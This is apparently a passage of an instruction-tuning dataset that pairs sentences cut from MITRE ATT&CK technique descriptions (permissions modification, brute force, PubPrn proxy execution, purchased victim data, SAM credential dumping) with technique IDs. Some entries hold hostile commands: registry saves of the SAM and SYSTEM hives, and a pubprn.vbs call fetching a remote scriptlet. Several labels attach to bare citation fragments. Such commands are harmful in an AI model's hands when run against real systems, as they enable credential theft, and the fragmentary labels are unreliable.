other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also change permissions of symbolic links.", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also change permissions of symbolic links. ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior)", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior) ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018)", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions.", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group.", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs:", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode). ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it.", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They could subsequently lock others out of the file.", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They could subsequently lock others out of the file. ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques)", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Brute forcing credentials may take place at various points during a breach.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Brute forcing credentials may take place at various points during a breach. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201).", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts.", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords.", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts. ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cylance Cleaver)", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cylance Cleaver) ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, management services over commonly used ports are used when guessing passwords.", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, management services over commonly used ports are used when guessing passwords. ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commonly targeted services include the following:\n\n* SSH (22/TCP)\n*", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Telnet (23/TCP)\n* FTP (21/TCP)", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Telnet (23/TCP)\n* FTP (21/TCP) ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n*", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n*", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP) ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018).", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation:", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trend Micro Emotet 2020)", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trend Micro Emotet 2020) ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", "output": "T1110.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625. ### Response: T1110.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files.", "output": "T1216", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. ### Response: T1216."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project)", "output": "T1216", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) ### Response: T1216."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)", "output": "T1216", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List) ### Response: T1216."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use PubPrn to proxy execution of malicious remote files.", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use PubPrn to proxy execution of malicious remote files. ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services.", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>.", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn) ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site.", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An example command is <code>pubprn.vbs", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An example command is <code>pubprn.vbs ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "127.0.0.1 script:https://mydomain.com/folder/file.sct</code>.", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site.", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).", "output": "T1216.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S). ### Response: T1216.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search and gather information about victims from closed sources that can be used during targeting.", "output": "T1597", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search and gather information about victims from closed sources that can be used during targeting. ### Response: T1597."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds)", "output": "T1597", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) ### Response: T1597."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation:", "output": "T1597", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ### Response: T1597."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather.", "output": "T1597", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. ### Response: T1597."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1597", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1597."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase technical information about victims that can be used during targeting.", "output": "T1597.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase technical information about victims that can be used during targeting. ### Response: T1597.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services.", "output": "T1597.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. ### Response: T1597.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.", "output": "T1597.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. ### Response: T1597.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches.", "output": "T1597.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. ### Response: T1597.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim\u2019s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1597.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim\u2019s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1597.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored.", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The SAM is a database file that contains local accounts for the host, typically those found with the <code>net user</code> command.", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The SAM is a database file that contains local accounts for the host, typically those found with the <code>net user</code> command. ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Enumerating the SAM database requires SYSTEM level access.", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Enumerating the SAM database requires SYSTEM level access. ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n*", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Mimikatz](https://attack.mitre.org/software/S0002)", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Mimikatz](https://attack.mitre.org/software/S0002) ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* <code>reg save HKLM\\sam sam</code>\n* <code>reg save HKLM\\system system</code>\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation:", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* <code>reg save HKLM\\sam sam</code>\n* <code>reg save HKLM\\system system</code>\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub Creddump7)\n\nNotes: \n\n*", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub Creddump7)\n\nNotes: \n\n* ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RID 500 